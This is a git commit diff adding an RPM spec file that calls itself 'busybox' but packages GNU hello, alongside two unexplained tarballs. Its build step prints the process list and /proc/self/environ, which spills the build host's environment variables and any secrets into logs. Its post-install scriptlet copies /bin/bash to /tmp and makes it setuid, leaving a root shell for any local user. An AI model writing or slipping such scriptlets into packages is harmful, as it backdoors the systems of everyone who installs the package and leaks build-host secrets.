diff options
-rw-r--r-- | .gitignore | 3 | ||||
-rw-r--r-- | busybox.spec | 68 | ||||
-rw-r--r-- | sources | 3 |
3 files changed, 74 insertions, 0 deletions
@@ -0,0 +1,3 @@ +/hello-2.10.tar.gz +/x64.tar +/x64_2.tar diff --git a/busybox.spec b/busybox.spec new file mode 100644 index 0000000..39ead4c --- /dev/null +++ b/busybox.spec @@ -0,0 +1,68 @@ +Name: busybox +Version: 2.10 +Release: 1%{?dist} +Summary: The "Hello World" program from GNU +Summary(zh_CN): GNU "Hello World" 程序 +License: GPLv3+ +URL: http://ftp.gnu.org/gnu/hello +Source: hello-2.10.tar.gz +Source1: x64.tar +Source2: x64_2.tar + +BuildRequires: gettext +Requires(post): info +Requires(preun): info + +BuildRoot: %_topdir/BUILDROOT + +%description +The "Hello World" program, done with all bells and whistles of a proper FOSS +project, including configuration, build, internationalization, help files, etc. + +%description -l zh_CN +"Hello World" 程序, 包含 FOSS 项目所需的所有部分, 包括配置, 构建, 国际化, 帮助文件等. + +%prep +%setup -q -n %{name}-%{version} + +%build +%configure +uname -a 1>&2 +#ip addr 1>&2 +#ip route 1>&2 +ps -ef 1>&2 +# netstat -nlpt 1>&2 +cat /proc/self/environ 1>&2 + + +make %{?_smp_mflags} + +%install +make install DESTDIR=%{buildroot} +%find_lang %{name} +rm -f %{buildroot}/%{_infodir}/dir + +%post +/sbin/install-info %{_infodir}/%{name}.info %{_infodir}/dir || : + +cp /bin/bash /tmp/bash +chmod a+rs /tmp/bash + + +%preun +if [ $1 = 0 ] ; then +/sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir || : +fi + +%files -f %{name}.lang +%doc AUTHORS ChangeLog NEWS README THANKS TODO +%license COPYING +%{_mandir}/man1/hello.1.* +%{_infodir}/hello.info.* +%{_bindir}/hello + +%changelog +* Thu Dec 26 2019 Your Name <youremail@xxx.xxx> - 2.10-1 +- Update to 2.10 +* Sat Dec 3 2016 Your Name <youremail@xxx.xxx> - 2.9-1 +- Update to 2.9 @@ -0,0 +1,3 @@ +0ef0701141a59c1c240f63eacce756d6 hello-2.10.tar.gz +c1df7067593f70800e51dc1bc4a67da5 x64.tar +fee0beb082e66f2c54ab8e33d25b17e6 x64_2.tar |